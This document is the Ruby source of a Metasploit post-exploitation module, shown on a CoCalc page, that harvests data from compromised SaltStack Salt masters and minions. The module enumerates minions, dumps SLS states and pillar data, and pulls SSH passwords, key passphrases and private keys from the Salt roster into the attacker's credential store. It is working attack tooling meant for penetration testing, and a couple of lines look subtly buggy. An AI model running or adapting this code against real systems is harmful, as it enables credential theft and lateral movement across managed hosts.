CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'yaml'
7

8
class MetasploitModule < Msf::Post
9
  include Msf::Post::File
10
  include Msf::Exploit::Local::Saltstack
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'SaltStack Salt Information Gatherer',
17
        'Description' => %q{
18
          This module gathers information from SaltStack Salt masters and minions.
19
          Data gathered from minions: 1. salt minion config file
20
          Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)
21
          2. minion hostname/ip/os (depending on module settings)
22
          3. SLS
23
          4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed
24
          5. minion config files
25
          6. pillar data
26
        },
27
        'Author' => [
28
          'h00die',
29
          'c2Vlcgo'
30
        ],
31
        'SessionTypes' => %w[shell meterpreter],
32
        'License' => MSF_LICENSE,
33
        'Notes' => {
34
          'Stability' => [CRASH_SAFE],
35
          'SideEffects' => [IOC_IN_LOGS],
36
          'Reliability' => []
37
        }
38
      )
39
    )
40
    register_options(
41
      [
42
        OptString.new('MINIONS', [true, 'Minions Target', '*']),
43
        OptBool.new('GETHOSTNAME', [false, 'Gather Hostname from minions', true]),
44
        OptBool.new('GETIP', [false, 'Gather IP from minions', true]),
45
        OptBool.new('GETOS', [false, 'Gather OS from minions', true]),
46
        OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])
47
      ]
48
    )
49
  end
50

51
  def gather_pillars
52
    print_status('Gathering pillar data')
53
    begin
54
      out = cmd_exec('salt', "'#{datastore['MINIONS']}' --output=yaml pillar.items", datastore['TIMEOUT'])
55
      vprint_status(out)
56
      results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
57
      store_path = store_loot('saltstack_pillar_data_gather', 'application/x-yaml', session, results.to_yaml, 'pillar_gather.yaml', 'SaltStack Salt Pillar Gather')
58
      print_good("#{peer} - pillar data gathering successfully retrieved and saved to #{store_path}")
59
    rescue Psych::SyntaxError
60
      print_error('Unable to process pillar command output')
61
      return
62
    end
63
  end
64

65
  def gather_minion_data
66
    print_status('Gathering data from minions (this can take some time)')
67
    command = []
68
    if datastore['GETHOSTNAME']
69
      command << 'network.get_hostname'
70
    end
71
    if datastore['GETIP']
72
      # command << 'network.ip_addrs'
73
      command << 'network.interfaces'
74
    end
75
    if datastore['GETOS']
76
      command << 'status.version' # seems to work on linux
77
      command << 'system.get_system_info' # seems to work on windows, part of salt.modules.win_system
78
    end
79
    commas = ',' * (command.length - 1) # we need to provide empty arguments for each command
80
    command = "salt '#{datastore['MINIONS']}' --output=yaml #{command.join(',')} #{commas}"
81
    begin
82
      out = cmd_exec(command, nil, datastore['TIMEOUT'])
83
      if out == '' || out.nil?
84
        print_error('No results returned. Try increasing the TIMEOUT or decreasing the minions being checked')
85
        return
86
      end
87
      vprint_status(out)
88
      results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
89
      store_path = store_loot('saltstack_minion_data_gather', 'application/x-yaml', session, results.to_yaml, 'minion_data_gather.yaml', 'SaltStack Salt Minion Data Gather')
90
      print_good("#{peer} - minion data gathering successfully retrieved and saved to #{store_path}")
91
    rescue Psych::SyntaxError
92
      print_error('Unable to process gather command output')
93
      return
94
    end
95
    return if results == false || results.nil?
96
    return if results.include?('Salt request timed out.') || results.include?('Minion did not return.')
97

98
    results.each_value do |result|
99
      # at times the first line may be "Minions returned with non-zero exit code", so we want to skip that
100
      next if result.is_a? String
101

102
      host_info = {
103
        name: result['network.get_hostname'],
104
        os_flavor: result['status.version'],
105
        comments: "SaltStack Salt minion to #{session.session_host}"
106
      }
107
      # mac os
108
      if result.key?('system.get_system_info') &&
109
         result['system.get_system_info'].include?('Traceback') &&
110
         result.key?('status.version') &&
111
         result['status.version'].include?('unsupported on the current operating system')
112
        host_info[:os_name] = 'osx' # taken from lib/msf/core/post/osx/system
113
        host_info[:os_flavor] = ''
114
      # windows will throw a traceback error for status.version
115
      elsif result.key?('status.version') &&
116
            result['status.version'].include?('Traceback')
117
        info = result['system.get_system_info']
118
        host_info[:os_name] = info['os_name']
119
        host_info[:os_flavor] = info['os_version']
120
        host_info[:purpose] = info['os_type']
121
      end
122

123
      unless datastore['GETIP'] # if we dont get IP, can't make hosts
124
        print_good("Found minion: #{host_info[:name]} - #{host_info[:os_flavor]}")
125
        next
126
      end
127

128
      result['network.interfaces'].each do |name, interface|
129
        next if name == 'lo'
130
        next if interface['hwaddr'] == ':::::' # Windows Software Loopback Interface
131
        next unless interface.key? 'inet' # skip if it doesn't have an inet, macos had lots of this
132
        next if interface['inet'][0]['address'] == '127.0.0.1' # ignore localhost
133

134
        host_info[:mac] = interface['hwaddr']
135
        host_info[:host] = interface['inet'][0]['address'] # ignoring inet6
136
        report_host(host_info)
137
        print_good("Found minion: #{host_info[:name]} (#{host_info[:host]}) - #{host_info[:os_flavor]}")
138
      end
139
    end
140
  end
141

142
  def list_minions_printer
143
    minions = list_minions
144
    return if minions.nil?
145

146
    tbl = Rex::Text::Table.new(
147
      'Header' => 'Minions List',
148
      'Indent' => 1,
149
      'Columns' => ['Status', 'Minion Name']
150
    )
151

152
    minions.each do |minion|
153
      tbl << ['Accepted', minion]
154
    end
155
    minions['minions_pre'].each do |minion|
156
      tbl << ['Unaccepted', minion]
157
    end
158
    minions['minions_rejected'].each do |minion|
159
      tbl << ['Rejected', minion]
160
    end
161
    minions['minions_denied'].each do |minion|
162
      tbl << ['Denied', minion]
163
    end
164
    print_good(tbl.to_s)
165
  end
166

167
  def minion
168
    print_status('Looking for salt minion config files')
169
    # https://github.com/saltstack/salt/blob/b427688048fdbee106f910c22ebeb105eb30aa10/doc/ref/configuration/minion.rst#configuring-the-salt-minion
170
    [
171
      '/etc/salt/minion', # linux, osx
172
      'C://salt//conf//minion',
173
      '/usr/local/etc/salt/minion' # freebsd
174
    ].each do |config|
175
      next unless file?(config)
176

177
      minion = YAML.safe_load(read_file(config))
178
      if minion['master']
179
        print_good("Minion master: #{minion['master']}")
180
      end
181
      store_path = store_loot('saltstack_minion', 'application/x-yaml', session, minion.to_yaml, 'minion.yaml', 'SaltStack Salt Minion File')
182
      print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
183
      break # no need to process more
184
    end
185
  end
186

187
  def master
188
    list_minions_printer
189
    gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']
190

191
    # get sls files
192
    unless command_exists?('salt')
193
      print_error('salt not found on system')
194
      return
195
    end
196
    print_status('Showing SLS')
197
    output = cmd_exec('salt', "'#{datastore['MINIONS']}' state.show_sls '*'", datastore['TIMEOUT'])
198
    store_path = store_loot('saltstack_sls', 'text/plain', session, output, 'sls.txt', 'SaltStack Salt Master SLS Output')
199
    print_good("#{peer} - SLS output successfully retrieved and saved to #{store_path}")
200

201
    # get roster
202
    # https://github.com/saltstack/salt/blob/023528b3b1b108982989c4872c138d1796821752/doc/topics/ssh/roster.rst#salt-rosters
203
    print_status('Loading roster')
204
    priv_values = {}
205
    ['/etc/salt/roster'].each do |config|
206
      next unless file?(config)
207

208
      begin
209
        minions = YAML.safe_load(read_file(config))
210
      rescue Psych::SyntaxError
211
        print_error("Unable to load #{config}")
212
        next
213
      end
214
      store_path = store_loot('saltstack_roster', 'application/x-yaml', session, minion.to_yaml, 'roster.yaml', 'SaltStack Salt Roster File')
215
      print_good("#{peer} - roster file successfully retrieved and saved to #{store_path}")
216
      next if minions.nil?
217

218
      minions.each do |name, minion|
219
        host = minion['host'] # aka ip
220
        user = minion['user']
221
        port = minion['port'] || 22
222
        passwd = minion['passwd']
223
        # sudo = minion['sudo'] || false
224
        priv = minion['priv'] || false
225
        priv_pass = minion['priv_passwd'] || false
226

227
        print_good("Found SSH minion: #{name} (#{host})")
228
        # make a special print for encrypted ssh keys
229
        unless priv_pass == false
230
          print_good("  SSH key #{priv} password #{priv_pass}")
231
          report_note(host: host,
232
                      proto: 'TCP',
233
                      port: port,
234
                      type: 'SSH Key Password',
235
                      data: "#{priv} => #{priv_pass}")
236
        end
237

238
        host_info = {
239
          name: name,
240
          comments: "SaltStack Salt ssh minion to #{session.session_host}",
241
          host: host
242
        }
243
        report_host(host_info)
244

245
        cred = {
246
          address: host,
247
          port: port,
248
          protocol: 'tcp',
249
          workspace_id: myworkspace_id,
250
          origin_type: :service,
251
          private_type: :password,
252
          service_name: 'SSH',
253
          module_fullname: fullname,
254
          username: user,
255
          status: Metasploit::Model::Login::Status::UNTRIED
256
        }
257
        if passwd
258
          cred[:private_data] = passwd
259
          create_credential_and_login(cred)
260
          next
261
        end
262

263
        # handle ssh keys if it wasn't a password
264
        cred[:private_type] = :ssh_key
265
        if priv_values[priv]
266
          cred[:private_data] = priv_values[priv]
267
          create_credential_and_login(cred)
268
          next
269
        end
270

271
        unless file?(priv)
272
          print_error("  Unable to find salt-ssh priv key #{priv}")
273
          next
274
        end
275
        input = read_file(priv)
276
        store_path = store_loot('ssh_key', 'plain/txt', session, input, 'salt-ssh.rsa', 'SaltStack Salt SSH Private Key')
277
        print_good("  #{priv} stored to #{store_path}")
278
        priv_values[priv] = input
279
        cred[:private_data] = input
280
        create_credential_and_login(cred)
281
      end
282
    end
283
    gather_pillars
284
  end
285

286
  def run
287
    if session.platform == 'windows'
288
      # the docs dont show that you can run as a master, nor was the master .bat included as of this writing
289
      minion
290
    end
291
    minion if command_exists?('salt-minion')
292
    master if command_exists?('salt-master')
293
  end
294

295
end
296

297